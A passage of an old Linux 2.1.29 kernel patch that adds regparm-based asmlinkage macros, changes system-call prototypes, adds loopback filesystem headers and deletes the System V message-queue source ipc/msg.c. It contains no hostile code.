size); unsigned long generate_cluster_swab32(kdev_t dev, int b[], int size); extern kdev_t ROOT_DEV; @@ -687,11 +699,6 @@ extern int inode_change_ok(struct inode *, struct iattr *); extern void inode_setattr(struct inode *, struct iattr *); - -extern inline struct inode * iget(struct super_block * sb,int nr) -{ - return __iget(sb, nr, 1); -} /* kludge to get SCSI modules working */ #include diff -u --recursive --new-file linux-2.1.29/include/linux/interrupt.h linux/include/linux/interrupt.h --- linux-2.1.29/include/linux/interrupt.h Sat May 10 18:17:38 1997 +++ linux/include/linux/interrupt.h Wed Mar 5 21:12:41 1997 @@ -22,7 +22,7 @@ extern unsigned long bh_mask; extern void (*bh_base[32])(void); -asmlinkage void do_bottom_half(void); +asmlinkage_p(void do_bottom_half(void)); /* Who gets which entry in bh_base. Things which will occur most often should come first - in which case NET should be up the top with SERIAL/TQUEUE! */ diff -u --recursive --new-file linux-2.1.29/include/linux/interrupt.h# linux/include/linux/interrupt.h# --- linux-2.1.29/include/linux/interrupt.h# Wed Dec 31 19:00:00 1969 +++ linux/include/linux/interrupt.h# Fri Feb 21 18:33:58 1997 @@ -0,0 +1,17 @@ +*************** +*** 21,27 **** + extern unsigned long bh_mask; + extern void (*bh_base[32])(void); + +- asmlinkage(void do_bottom_half(void)); + + /* Who gets which entry in bh_base. Things which will occur most often + should come first - in which case NET should be up the top with SERIAL/TQUEUE! */ +--- 21,27 ---- + extern unsigned long bh_mask; + extern void (*bh_base[32])(void); + ++ asmlinkage void do_bottom_half(void); + + /* Who gets which entry in bh_base. Things which will occur most often + should come first - in which case NET should be up the top with SERIAL/TQUEUE! */ diff -u --recursive --new-file linux-2.1.29/include/linux/iso_fs.h linux/include/linux/iso_fs.h --- linux-2.1.29/include/linux/iso_fs.h Sun Aug 4 08:13:10 1996 +++ linux/include/linux/iso_fs.h Fri Feb 21 18:34:37 1997 @@ -160,7 +160,6 @@ extern int isofs_bmap(struct inode *,int); extern void isofs_put_super(struct super_block *); -extern struct super_block *isofs_read_super(struct super_block *,void *,int); extern int init_iso9660_fs(void); extern void isofs_read_inode(struct inode *); extern void isofs_put_inode(struct inode *); diff -u --recursive --new-file linux-2.1.29/include/linux/kernel.h linux/include/linux/kernel.h --- linux-2.1.29/include/linux/kernel.h Mon May 20 13:33:57 1996 +++ linux/include/linux/kernel.h Fri Feb 21 18:34:37 1997 @@ -48,8 +48,7 @@ extern int kill_pg(int pgrp, int sig, int priv); extern int kill_sl(int sess, int sig, int priv); -asmlinkage int printk(const char * fmt, ...) - __attribute__ ((format (printf, 1, 2))); +asmlinkage_p(int printk(const char * fmt, ...) __attribute__ ((format (printf, 1, 2)))); #if DEBUG #define pr_debug(fmt,arg...) \ diff -u --recursive --new-file linux-2.1.29/include/linux/kernel_stat.h linux/include/linux/kernel_stat.h --- linux-2.1.29/include/linux/kernel_stat.h Tue Sep 24 05:21:30 1996 +++ linux/include/linux/kernel_stat.h Wed Mar 5 21:48:05 1997 @@ -25,6 +25,7 @@ unsigned int ierrors, oerrors; unsigned int collisions; unsigned int context_swtch; + unsigned int lost_interrupts[NR_IRQS]; }; extern struct kernel_stat kstat; diff -u --recursive --new-file linux-2.1.29/include/linux/kernel_stat.h# linux/include/linux/kernel_stat.h# --- linux-2.1.29/include/linux/kernel_stat.h# Wed Dec 31 19:00:00 1969 +++ linux/include/linux/kernel_stat.h# Fri Feb 21 18:33:59 1997 @@ -0,0 +1,16 @@ +*************** +*** 25,31 **** + unsigned int ierrors, oerrors; + unsigned int collisions; + unsigned int context_swtch; +- unsigned int lost_interrupts[NR_IRQS]; + }; + + extern struct kernel_stat kstat; +--- 25,30 ---- + unsigned int ierrors, oerrors; + unsigned int collisions; + unsigned int context_swtch; + }; + + extern struct kernel_stat kstat; diff -u --recursive --new-file linux-2.1.29/include/linux/linkage.h linux/include/linux/linkage.h --- linux-2.1.29/include/linux/linkage.h Thu Jun 29 05:22:08 1995 +++ linux/include/linux/linkage.h Fri Feb 21 18:34:37 1997 @@ -3,8 +3,12 @@ #ifdef __cplusplus #define asmlinkage extern "C" +#define asmlinkage_d(x) extern "C" x __attribute__ ((regparm(0))); extern "C" x +#define asmlinkage_p(x) extern "C" x __attribute__ ((regparm(0))) #else #define asmlinkage +#define asmlinkage_d(x) x __attribute__ ((regparm(0))); x +#define asmlinkage_p(x) x __attribute__ ((regparm(0))) #endif #ifdef __ELF__ diff -u --recursive --new-file linux-2.1.29/include/linux/lo_fs.h linux/include/linux/lo_fs.h --- linux-2.1.29/include/linux/lo_fs.h Wed Dec 31 19:00:00 1969 +++ linux/include/linux/lo_fs.h Fri Feb 21 18:34:37 1997 @@ -0,0 +1,7 @@ +#ifndef _LINUX_LO_FS_H +#define _LINUX_LO_FS_H + +#ifdef __KERNEL__ +extern int init_lo_fs(void); +#endif +#endif diff -u --recursive --new-file linux-2.1.29/include/linux/lo_fs_i.h linux/include/linux/lo_fs_i.h --- linux-2.1.29/include/linux/lo_fs_i.h Wed Dec 31 19:00:00 1969 +++ linux/include/linux/lo_fs_i.h Fri Feb 21 18:34:37 1997 @@ -0,0 +1,11 @@ +#ifndef _LO_FS_I +#define _LO_FS_I + +/* + * lo fs inode data in memory + */ +struct lo_inode_info { + struct inode *inode; +}; + +#endif diff -u --recursive --new-file linux-2.1.29/include/linux/lo_fs_sb.h linux/include/linux/lo_fs_sb.h --- linux-2.1.29/include/linux/lo_fs_sb.h Wed Dec 31 19:00:00 1969 +++ linux/include/linux/lo_fs_sb.h Fri Feb 21 18:34:37 1997 @@ -0,0 +1,17 @@ +#ifndef _LO_FS_SB +#define _LO_FS_SB + +/* + * lo super-block data + */ +struct lo_sb_info { + struct super_block *s_sb; + struct inode *s_rootinode; + struct super_block *s_lo_next; /* next loopback superblock */ + + unsigned long s_inodes_used; /* number of inodes in use */ + + int s_automount_enabled; +}; + +#endif diff -u --recursive --new-file linux-2.1.29/include/linux/msg.h linux/include/linux/msg.h --- linux-2.1.29/include/linux/msg.h Sat May 10 18:12:49 1997 +++ linux/include/linux/msg.h Fri Feb 21 18:34:37 1997 @@ -69,11 +69,10 @@ short msg_ts; /* message text size */ }; -asmlinkage int sys_msgget (key_t key, int msgflg); -asmlinkage int sys_msgsnd (int msqid, struct msgbuf *msgp, size_t msgsz, int msgflg); -asmlinkage int sys_msgrcv (int msqid, struct msgbuf *msgp, size_t msgsz, long msgtyp, - int msgflg); -asmlinkage int sys_msgctl (int msqid, int cmd, struct msqid_ds *buf); +asmlinkage_p(int sys_msgget (key_t key, int msgflg)); +asmlinkage_p(int sys_msgsnd (int msqid, struct msgbuf *msgp, size_t msgsz, int msgflg)); +asmlinkage_p(int sys_msgrcv (int msqid, struct msgbuf *msgp, size_t msgsz, long msgtyp, int msgflg)); +asmlinkage_p(int sys_msgctl (int msqid, int cmd, struct msqid_ds *buf)); #endif /* __KERNEL__ */ diff -u --recursive --new-file linux-2.1.29/include/linux/personality.h linux/include/linux/personality.h --- linux-2.1.29/include/linux/personality.h Sat May 10 18:17:20 1997 +++ linux/include/linux/personality.h Fri Feb 21 18:34:37 1997 @@ -23,7 +23,7 @@ #define PER_XENIX (0x0007 | STICKY_TIMEOUTS) /* Prototype for an lcall7 syscall handler. */ -typedef asmlinkage void (*lcall7_func)(struct pt_regs *); +typedef asmlinkage_p(void (*lcall7_func)(struct pt_regs *)); /* Description of an execution domain - personality range supported, @@ -46,6 +46,6 @@ extern struct exec_domain *lookup_exec_domain(unsigned long personality); extern int register_exec_domain(struct exec_domain *it); extern int unregister_exec_domain(struct exec_domain *it); -asmlinkage int sys_personality(unsigned long personality); +asmlinkage_p(int sys_personality(unsigned long personality)); #endif /* _PERSONALITY_H */ diff -u --recursive --new-file linux-2.1.29/include/linux/personality.h# linux/include/linux/personality.h# --- linux-2.1.29/include/linux/personality.h# Wed Dec 31 19:00:00 1969 +++ linux/include/linux/personality.h# Fri Feb 21 18:33:59 1997 @@ -0,0 +1,32 @@ +*************** +*** 23,29 **** + #define PER_XENIX (0x0007 | STICKY_TIMEOUTS) + + /* Prototype for an lcall7 syscall handler. */ +- typedef asmlinkage_p(void (*lcall7_func)(struct pt_regs *)); + + + /* Description of an execution domain - personality range supported, +--- 23,29 ---- + #define PER_XENIX (0x0007 | STICKY_TIMEOUTS) + + /* Prototype for an lcall7 syscall handler. */ ++ typedef asmlinkage void (*lcall7_func)(struct pt_regs *); + + + /* Description of an execution domain - personality range supported, +*************** +*** 46,51 **** + extern struct exec_domain *lookup_exec_domain(unsigned long personality); + extern int register_exec_domain(struct exec_domain *it); + extern int unregister_exec_domain(struct exec_domain *it); +- asmlinkage_p(int sys_personality(unsigned long personality)); + + #endif /* _PERSONALITY_H */ +--- 46,51 ---- + extern struct exec_domain *lookup_exec_domain(unsigned long personality); + extern int register_exec_domain(struct exec_domain *it); + extern int unregister_exec_domain(struct exec_domain *it); ++ asmlinkage int sys_personality(unsigned long personality); + + #endif /* _PERSONALITY_H */ diff -u --recursive --new-file linux-2.1.29/include/linux/proc_fs.h linux/include/linux/proc_fs.h --- linux-2.1.29/include/linux/proc_fs.h Sat May 10 18:17:47 1997 +++ linux/include/linux/proc_fs.h Sun Mar 23 15:01:43 1997 @@ -292,7 +292,7 @@ } } -extern struct super_block *proc_read_super(struct super_block *,void *,int); +extern struct super_block *proc_read_super(struct super_block *,void *,int,const char *); extern int init_proc_fs(void); extern struct inode * proc_get_inode(struct super_block *, int, struct proc_dir_entry *); extern void proc_statfs(struct super_block *, struct statfs *, int); diff -u --recursive --new-file linux-2.1.29/include/linux/sched.h linux/include/linux/sched.h --- linux-2.1.29/include/linux/sched.h Sat May 10 18:17:35 1997 +++ linux/include/linux/sched.h Sun Mar 23 15:01:16 1997 @@ -108,7 +108,7 @@ extern void show_state(void); extern void trap_init(void); -asmlinkage void schedule(void); +asmlinkage_p(void schedule(void)); /* Open file table structure */ struct files_struct { diff -u --recursive --new-file linux-2.1.29/include/linux/sem.h linux/include/linux/sem.h --- linux-2.1.29/include/linux/sem.h Sat May 10 18:12:49 1997 +++ linux/include/linux/sem.h Fri Feb 21 18:34:37 1997 @@ -104,9 +104,9 @@ short * semadj; /* array of adjustments, one per semaphore */ }; -asmlinkage int sys_semget (key_t key, int nsems, int semflg); -asmlinkage int sys_semop (int semid, struct sembuf *sops, unsigned nsops); -asmlinkage int sys_semctl (int semid, int semnum, int cmd, union semun arg); +asmlinkage_p(int sys_semget (key_t key, int nsems, int semflg)); +asmlinkage_p(int sys_semop (int semid, struct sembuf *sops, unsigned nsops)); +asmlinkage_p(int sys_semctl (int semid, int semnum, int cmd, union semun arg)); #endif /* __KERNEL__ */ diff -u --recursive --new-file linux-2.1.29/include/linux/shm.h linux/include/linux/shm.h --- linux-2.1.29/include/linux/shm.h Sat May 10 18:12:49 1997 +++ linux/include/linux/shm.h Fri Feb 21 18:34:37 1997 @@ -60,10 +60,10 @@ #define SHM_DEST 01000 /* segment will be destroyed on last detach */ #define SHM_LOCKED 02000 /* segment will not be swapped */ -asmlinkage int sys_shmget (key_t key, int size, int flag); -asmlinkage int sys_shmat (int shmid, char *shmaddr, int shmflg, unsigned long *addr); -asmlinkage int sys_shmdt (char *shmaddr); -asmlinkage int sys_shmctl (int shmid, int cmd, struct shmid_ds *buf); +asmlinkage_p(int sys_shmget (key_t key, int size, int flag)); +asmlinkage_p(int sys_shmat (int shmid, char *shmaddr, int shmflg, unsigned long *addr)); +asmlinkage_p(int sys_shmdt (char *shmaddr)); +asmlinkage_p(int sys_shmctl (int shmid, int cmd, struct shmid_ds *buf)); #endif /* __KERNEL__ */ diff -u --recursive --new-file linux-2.1.29/include/linux/sysctl.h linux/include/linux/sysctl.h --- linux-2.1.29/include/linux/sysctl.h Sat May 10 18:17:38 1997 +++ linux/include/linux/sysctl.h Wed Mar 5 21:12:42 1997 @@ -198,7 +198,7 @@ #ifdef __KERNEL__ -extern asmlinkage int sys_sysctl(struct __sysctl_args *); +asmlinkage_p(extern int sys_sysctl(struct __sysctl_args *)); extern void init_sysctl(void); typedef struct ctl_table ctl_table; diff -u --recursive --new-file linux-2.1.29/init/main.c linux/init/main.c --- linux-2.1.29/init/main.c Sat May 10 18:17:47 1997 +++ linux/init/main.c Mon Mar 10 18:34:37 1997 @@ -763,7 +763,7 @@ * Activate a secondary processor. */ -asmlinkage void start_secondary(void) +asmlinkage_d(void start_secondary(void)) { trap_init(); init_IRQ(); @@ -816,7 +816,7 @@ * Activate the first processor. */ -asmlinkage void start_kernel(void) +asmlinkage_d(void start_kernel(void)) { char * command_line; diff -u --recursive --new-file linux-2.1.29/ipc/msg.c linux/ipc/msg.c --- linux-2.1.29/ipc/msg.c Sat May 10 18:17:21 1997 +++ linux/ipc/msg.c Wed Dec 31 19:00:00 1969 @@ -1,807 +0,0 @@ -/* - * linux/ipc/msg.c - * Copyright (C) 1992 Krishna Balasubramanian - * - * Kerneld extensions by Bjorn Ekwall in May 1995, and May 1996 - * - * See for the (optional) new kerneld protocol - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -extern int ipcperms (struct ipc_perm *ipcp, short msgflg); - -static void freeque (int id); -static int newque (key_t key, int msgflg); -static int findkey (key_t key); - -static struct msqid_ds *msgque[MSGMNI]; -static int msgbytes = 0; -static int msghdrs = 0; -static unsigned short msg_seq = 0; -static int used_queues = 0; -static int max_msqid = 0; -static struct wait_queue *msg_lock = NULL; -static int kerneld_msqid = -1; - -#define MAX_KERNELDS 20 -static int kerneld_arr[MAX_KERNELDS]; -static int n_kernelds = 0; - -void msg_init (void) -{ - int id; - - for (id = 0; id < MSGMNI; id++) - msgque[id] = (struct msqid_ds *) IPC_UNUSED; - msgbytes = msghdrs = msg_seq = max_msqid = used_queues = 0; - msg_lock = NULL; - return; -} - -/* - * If the send queue is full, try to free any old messages. - * These are most probably unwanted, since no one has picked them up... - */ -#define MSG_FLUSH_TIME 10 /* seconds */ -static void flush_msg(struct msqid_ds *msq) -{ - struct msg *nmsg; - unsigned long flags; - int flushed = 0; - - save_flags(flags); - cli(); - - /* messages were put on the queue in time order */ - while ( (nmsg = msq->msg_first) && - ((CURRENT_TIME - nmsg->msg_stime) > MSG_FLUSH_TIME)) { - msgbytes -= nmsg->msg_ts; - msghdrs--; - msq->msg_cbytes -= nmsg->msg_ts; - msq->msg_qnum--; - msq->msg_first = nmsg->msg_next; - ++flushed; - kfree(nmsg); - } - - if (msq->msg_qnum == 0) - msq->msg_first = msq->msg_last = NULL; - restore_flags(flags); - if (flushed) - printk(KERN_WARNING "flushed %d old SYSVIPC messages", flushed); -} - -static int real_msgsnd (int msqid, struct msgbuf *msgp, size_t msgsz, int msgflg) -{ - int id, err; - struct msqid_ds *msq; - struct ipc_perm *ipcp; - struct msg *msgh; - long mtype; - unsigned long flags; - - if (msgsz > MSGMAX || (long) msgsz < 0 || msqid < 0) - return -EINVAL; - if (!msgp) - return -EFAULT; - /* - * Calls from kernel level (IPC_KERNELD set) - * have the message somewhere in kernel space already! - */ - if ((msgflg & IPC_KERNELD)) - mtype = msgp->mtype; - else { - err = verify_area (VERIFY_READ, msgp->mtext, msgsz); - if (err) - return err; - get_user(mtype, &msgp->mtype); - if (mtype < 1) - return -EINVAL; - } - id = (unsigned int) msqid % MSGMNI; - msq = msgque [id]; - if (msq == IPC_UNUSED || msq == IPC_NOID) - return -EINVAL; - ipcp = &msq->msg_perm; - - slept: - if (msq->msg_perm.seq != (unsigned int) msqid / MSGMNI) - return -EIDRM; - /* - * Non-root kernel level processes may send to kerneld! - * i.e. no permission check if called from the kernel - * otoh we don't want user level non-root snoopers... - */ - if ((msgflg & IPC_KERNELD) == 0) - if (ipcperms(ipcp, S_IWUGO)) - return -EACCES; - - if (msgsz + msq->msg_cbytes > msq->msg_qbytes) { - if ((kerneld_msqid != -1) && (kerneld_msqid == msqid)) - flush_msg(msq); /* flush the kerneld channel only */ - if (msgsz + msq->msg_cbytes > msq->msg_qbytes) { - /* still no space in queue */ - if (msgflg & IPC_NOWAIT) - return -EAGAIN; - if (current->signal & ~current->blocked) - return -EINTR; - if (intr_count) { - /* Very unlikely, but better safe than sorry */ - printk(KERN_WARNING "Ouch, kerneld:msgsnd buffers full!\n"); - return -EINTR; - } - interruptible_sleep_on (&msq->wwait); - goto slept; - } - } - - /* allocate message header and text space*/ - msgh = (struct msg *) kmalloc (sizeof(*msgh) + msgsz, GFP_ATOMIC); - if (!msgh) - return -ENOMEM; - msgh->msg_spot = (char *) (msgh + 1); - - /* - * Calls from kernel level (IPC_KERNELD set) - * have the message somewhere in kernel space already! - */ - if (msgflg & IPC_KERNELD) { - struct kerneld_msg *kdmp = (struct kerneld_msg *)msgp; - - /* - * Note that the kernel supplies a pointer - * but the user-level kerneld uses a char array... - */ - memcpy(msgh->msg_spot, (char *)(&(kdmp->id)), KDHDR); - memcpy(msgh->msg_spot + KDHDR, kdmp->text, msgsz - KDHDR); - } - else - copy_from_user (msgh->msg_spot, msgp->mtext, msgsz); - - if (msgque[id] == IPC_UNUSED || msgque[id] == IPC_NOID - || msq->msg_perm.seq != (unsigned int) msqid / MSGMNI) { - kfree(msgh); - return -EIDRM; - } - - msgh->msg_next = NULL; - msgh->msg_ts = msgsz; - msgh->msg_type = mtype; - msgh->msg_stime = CURRENT_TIME; - - save_flags(flags); - cli(); - if (!msq->msg_first) - msq->msg_first = msq->msg_last = msgh; - else { - msq->msg_last->msg_next = msgh; - msq->msg_last = msgh; - } - msq->msg_cbytes += msgsz; - msgbytes += msgsz; - msghdrs++; - msq->msg_qnum++; - msq->msg_lspid = current->pid; - msq->msg_stime = CURRENT_TIME; - restore_flags(flags); - wake_up (&msq->rwait); - return 0; -} - -/* - * Take care of missing kerneld, especially in case of multiple daemons - */ -#define KERNELD_TIMEOUT 1 * (HZ) -#define DROP_TIMER del_timer(&kd_timer) -/*#define DROP_TIMER if ((msgflg & IPC_KERNELD) && kd_timer.next && kd_timer.prev) del_timer(&kd_timer)*/ - -static void kd_timeout(unsigned long msgid) -{ - struct msqid_ds *msq; - struct msg *tmsg; - unsigned long flags; - - msq = msgque [ (unsigned int) kerneld_msqid % MSGMNI ]; - if (msq == IPC_NOID || msq == IPC_UNUSED) - return; - - save_flags(flags); - cli(); - for (tmsg = msq->msg_first; tmsg; tmsg = tmsg->msg_next) - if (*(long *)(tmsg->msg_spot) == msgid) - break; - restore_flags(flags); - if (tmsg) { /* still there! */ - struct kerneld_msg kmsp = { msgid, NULL_KDHDR, "" }; - - printk(KERN_ALERT "Ouch, no kerneld for message %ld\n", msgid); - kmsp.id = -ENODEV; - real_msgsnd(kerneld_msqid, (struct msgbuf *)&kmsp, KDHDR, - S_IRUSR | S_IWUSR | IPC_KERNELD | MSG_NOERROR); - } -} - -static int real_msgrcv (int msqid, struct msgbuf *msgp, size_t msgsz, long msgtyp, int msgflg) -{ - struct timer_list kd_timer = { NULL, NULL, 0, 0, 0}; - struct msqid_ds *msq; - struct ipc_perm *ipcp; - struct msg *tmsg, *leastp = NULL; - struct msg *nmsg = NULL; - int id, err; - unsigned long flags; - - if (msqid < 0 || (long) msgsz < 0) - return -EINVAL; - if (!msgp || !msgp->mtext) - return -EFAULT; - /* - * Calls from kernel level (IPC_KERNELD set) - * wants the message put in kernel space! - */ - if ((msgflg & IPC_KERNELD) == 0) { - err = verify_area (VERIFY_WRITE, msgp->mtext, msgsz); - if (err) - return err; - } - - id = (unsigned int) msqid % MSGMNI; - msq = msgque [id]; - if (msq == IPC_NOID || msq == IPC_UNUSED) - return -EINVAL; - ipcp = &msq->msg_perm; - - /* - * Start timer for missing kerneld - */ - if (msgflg & IPC_KERNELD) { - kd_timer.data = (unsigned long)msgtyp; - kd_timer.expires = jiffies + KERNELD_TIMEOUT; - kd_timer.function = kd_timeout; - add_timer(&kd_timer); - } - - /* - * find message of correct type. - * msgtyp = 0 => get first. - * msgtyp > 0 => get first message of matching type. - * msgtyp < 0 => get message with least type must be < abs(msgtype). - */ - while (!nmsg) { - if (msq->msg_perm.seq != (unsigned int) msqid / MSGMNI) { - DROP_TIMER; - return -EIDRM; - } - if ((msgflg & IPC_KERNELD) == 0) { - /* - * All kernel level processes may receive from kerneld! - * i.e. no permission check if called from the kernel - * otoh we don't want user level non-root snoopers... - */ - if (ipcperms (ipcp, S_IRUGO)) { - DROP_TIMER; /* Not needed, but doesn't hurt */ - return -EACCES; - } - } - - save_flags(flags); - cli(); - if (msgtyp == 0) - nmsg = msq->msg_first; - else if (msgtyp > 0) { - if (msgflg & MSG_EXCEPT) { - for (tmsg = msq->msg_first; tmsg; - tmsg = tmsg->msg_next) - if (tmsg->msg_type != msgtyp) - break; - nmsg = tmsg; - } else { - for (tmsg = msq->msg_first; tmsg; - tmsg = tmsg->msg_next) - if (tmsg->msg_type == msgtyp) - break; - nmsg = tmsg; - } - } else { - for (leastp = tmsg = msq->msg_first; tmsg; - tmsg = tmsg->msg_next) - if (tmsg->msg_type < leastp->msg_type) - leastp = tmsg; - if (leastp && leastp->msg_type <= - msgtyp) - nmsg = leastp; - } - restore_flags(flags); - - if (nmsg) { /* done finding a message */ - DROP_TIMER; - if ((msgsz < nmsg->msg_ts) && !(msgflg & MSG_NOERROR)) { - return -E2BIG; - } - msgsz = (msgsz > nmsg->msg_ts)? nmsg->msg_ts : msgsz; - save_flags(flags); - cli(); - if (nmsg == msq->msg_first) - msq->msg_first = nmsg->msg_next; - else { - for (tmsg = msq->msg_first; tmsg; - tmsg = tmsg->msg_next) - if (tmsg->msg_next == nmsg) - break; - tmsg->msg_next = nmsg->msg_next; - if (nmsg == msq->msg_last) - msq->msg_last = tmsg; - } - if (!(--msq->msg_qnum)) - msq->msg_last = msq->msg_first = NULL; - - msq->msg_rtime = CURRENT_TIME; - msq->msg_lrpid = current->pid; - msgbytes -= nmsg->msg_ts; - msghdrs--; - msq->msg_cbytes -= nmsg->msg_ts; - restore_flags(flags); - wake_up (&msq->wwait); - /* - * Calls from kernel level (IPC_KERNELD set) - * wants the message copied to kernel space! - */ - if (msgflg & IPC_KERNELD) { - struct kerneld_msg *kdmp = (struct kerneld_msg *) msgp; - - memcpy((char *)(&(kdmp->id)), - nmsg->msg_spot, KDHDR); - /* - * Note that kdmp->text is a pointer - * when called from kernel space! - */ - if ((msgsz > KDHDR) && kdmp->text) - memcpy(kdmp->text, - nmsg->msg_spot + KDHDR, - msgsz - KDHDR); - } - else { - put_user (nmsg->msg_type, &msgp->mtype); - copy_to_user (msgp->mtext, nmsg->msg_spot, msgsz); - } - kfree(nmsg); - return msgsz; - } else { /* did not find a message */ - if (msgflg & IPC_NOWAIT) { - DROP_TIMER; - return -ENOMSG; - } - if (current->signal & ~current->blocked) { - DROP_TIMER; - return -EINTR; - } - interruptible_sleep_on (&msq->rwait); - } - } /* end while */ - DROP_TIMER; - return -1; -} - -asmlinkage int sys_msgsnd (int msqid, struct msgbuf *msgp, size_t msgsz, int msgflg) -{ - int ret; - - /* IPC_KERNELD is used as a marker for kernel level calls */ - lock_kernel(); - ret = real_msgsnd(msqid, msgp, msgsz, msgflg & ~IPC_KERNELD); - unlock_kernel(); - return ret; -} - -asmlinkage int sys_msgrcv (int msqid, struct msgbuf *msgp, size_t msgsz, - long msgtyp, int msgflg) -{ - int ret; - - /* IPC_KERNELD is used as a marker for kernel level calls */ - lock_kernel(); - ret = real_msgrcv (msqid, msgp, msgsz, msgtyp, msgflg & ~IPC_KERNELD); - unlock_kernel(); - return ret; -} - -static int findkey (key_t key) -{ - int id; - struct msqid_ds *msq; - - for (id = 0; id <= max_msqid; id++) { - while ((msq = msgque[id]) == IPC_NOID) - interruptible_sleep_on (&msg_lock); - if (msq == IPC_UNUSED) - continue; - if (key == msq->msg_perm.key) - return id; - } - return -1; -} - -static int newque (key_t key, int msgflg) -{ - int id; - struct msqid_ds *msq; - struct ipc_perm *ipcp; - - for (id = 0; id < MSGMNI; id++) - if (msgque[id] == IPC_UNUSED) { - msgque[id] = (struct msqid_ds *) IPC_NOID; - goto found; - } - return -ENOSPC; - -found: - msq = (struct msqid_ds *) kmalloc (sizeof (*msq), GFP_KERNEL); - if (!msq) { - msgque[id] = (struct msqid_ds *) IPC_UNUSED; - wake_up (&msg_lock); - return -ENOMEM; - } - ipcp = &msq->msg_perm; - ipcp->mode = (msgflg & S_IRWXUGO); - ipcp->key = key; - ipcp->cuid = ipcp->uid = current->euid; - ipcp->gid = ipcp->cgid = current->egid; - msq->msg_perm.seq = msg_seq; - msq->msg_first = msq->msg_last = NULL; - msq->rwait = msq->wwait = NULL; - msq->msg_cbytes = msq->msg_qnum = 0; - msq->msg_lspid = msq->msg_lrpid = 0; - msq->msg_stime = msq->msg_rtime = 0; - msq->msg_qbytes = MSGMNB; - msq->msg_ctime = CURRENT_TIME; - if (id > max_msqid) - max_msqid = id; - msgque[id] = msq; - used_queues++; - wake_up (&msg_lock); - return (unsigned int) msq->msg_perm.seq * MSGMNI + id; -} - -asmlinkage int sys_msgget (key_t key, int msgflg) -{ - int id, ret = -EPERM; - struct msqid_ds *msq; - - /* - * If the IPC_KERNELD flag is set, the key is forced to IPC_PRIVATE, - * and a designated kerneld message queue is created/referred to - */ - lock_kernel(); - if ((msgflg & IPC_KERNELD)) { - int i; - if (!suser()) - goto out; -#ifdef NEW_KERNELD_PROTOCOL - if ((msgflg & IPC_KERNELD) == OLDIPC_KERNELD) { - printk(KERN_ALERT "Please recompile your kerneld daemons!\n"); - goto out; - } -#endif - ret = -ENOSPC; - if ((kerneld_msqid == -1) && (kerneld_msqid = - newque(IPC_PRIVATE, msgflg & S_IRWXU)) < 0) - goto out; - for (i = 0; i < MAX_KERNELDS; ++i) { - if (kerneld_arr[i] == 0) { - kerneld_arr[i] = current->pid; - ++n_kernelds; - ret = kerneld_msqid; - goto out; - } - } - goto out; - } - /* else it is a "normal" request */ - if (key == IPC_PRIVATE) - ret = newque(key, msgflg); - else if ((id = findkey (key)) == -1) { /* key not used */ - if (!(msgflg & IPC_CREAT)) - ret = -ENOENT; - else - ret = newque(key, msgflg); - } else if (msgflg & IPC_CREAT && msgflg & IPC_EXCL) { - ret = -EEXIST; - } else { - msq = msgque[id]; - if (msq == IPC_UNUSED || msq == IPC_NOID) - ret = -EIDRM; - else if (ipcperms(&msq->msg_perm, msgflg)) - ret = -EACCES; - else - ret = (unsigned int) msq->msg_perm.seq * MSGMNI + id; - } -out: - unlock_kernel(); - return ret; -} - -static void freeque (int id) -{ - struct msqid_ds *msq = msgque[id]; - struct msg *msgp, *msgh; - - msq->msg_perm.seq++; - msg_seq = (msg_seq+1) % ((unsigned)(1<<31)/MSGMNI); /* increment, but avoid overflow */ - msgbytes -= msq->msg_cbytes; - if (id == max_msqid) - while (max_msqid && (msgque[--max_msqid] == IPC_UNUSED)); - msgque[id] = (struct msqid_ds *) IPC_UNUSED; - used_queues--; - while (waitqueue_active(&msq->rwait) || waitqueue_active(&msq->wwait)) { - wake_up (&msq->rwait); - wake_up (&msq->wwait); - schedule(); - } - for (msgp = msq->msg_first; msgp; msgp = msgh ) { - msgh = msgp->msg_next; - msghdrs--; - kfree(msgp); - } - kfree(msq); -} - -asmlinkage int sys_msgctl (int msqid, int cmd, struct msqid_ds *buf) -{ - int id, err = -EINVAL; - struct msqid_ds *msq; - struct msqid_ds tbuf; - struct ipc_perm *ipcp; - - lock_kernel(); - if (msqid < 0 || cmd < 0) - goto out; - err = -EFAULT; - switch (cmd) { - case IPC_INFO: - case MSG_INFO: - if (!buf) - goto out; - { - struct msginfo msginfo; - msginfo.msgmni = MSGMNI; - msginfo.msgmax = MSGMAX; - msginfo.msgmnb = MSGMNB; - msginfo.msgmap = MSGMAP; - msginfo.msgpool = MSGPOOL; - msginfo.msgtql = MSGTQL; - msginfo.msgssz = MSGSSZ; - msginfo.msgseg = MSGSEG; - if (cmd == MSG_INFO) { - msginfo.msgpool = used_queues; - msginfo.msgmap = msghdrs; - msginfo.msgtql = msgbytes; - } - err = verify_area (VERIFY_WRITE, buf, sizeof (struct msginfo)); - if (err) - goto out; - copy_to_user (buf, &msginfo, sizeof(struct msginfo)); - err = max_msqid; - goto out; - } - case MSG_STAT: - if (!buf) - goto out; - err = verify_area (VERIFY_WRITE, buf, sizeof (*buf)); - if (err) - goto out; - err = -EINVAL; - if (msqid > max_msqid) - goto out; - msq = msgque[msqid]; - if (msq == IPC_UNUSED || msq == IPC_NOID) - goto out; - err = -EACCES; - if (ipcperms (&msq->msg_perm, S_IRUGO)) - goto out; - id = (unsigned int) msq->msg_perm.seq * MSGMNI + msqid; - tbuf.msg_perm = msq->msg_perm; - tbuf.msg_stime = msq->msg_stime; - tbuf.msg_rtime = msq->msg_rtime; - tbuf.msg_ctime = msq->msg_ctime; - tbuf.msg_cbytes = msq->msg_cbytes; - tbuf.msg_qnum = msq->msg_qnum; - tbuf.msg_qbytes = msq->msg_qbytes; - tbuf.msg_lspid = msq->msg_lspid; - tbuf.msg_lrpid = msq->msg_lrpid; - copy_to_user (buf, &tbuf, sizeof(*buf)); - err = id; - goto out; - case IPC_SET: - if (!buf) - goto out; - err = verify_area (VERIFY_READ, buf, sizeof (*buf)); - if (err) - goto out; - copy_from_user (&tbuf, buf, sizeof (*buf)); - break; - case IPC_STAT: - if (!buf) - goto out; - err = verify_area (VERIFY_WRITE, buf, sizeof(*buf)); - if (err) - goto out; - break; - } - - id = (unsigned int) msqid % MSGMNI; - msq = msgque [id]; - err = -EINVAL; - if (msq == IPC_UNUSED || msq == IPC_NOID) - goto out; - err = -EIDRM; - if (msq->msg_perm.seq != (unsigned int) msqid / MSGMNI) - goto out; - ipcp = &msq->msg_perm; - - switch (cmd) { - case IPC_STAT: - err = -EACCES; - if (ipcperms (ipcp, S_IRUGO)) - goto out; - tbuf.msg_perm = msq->msg_perm; - 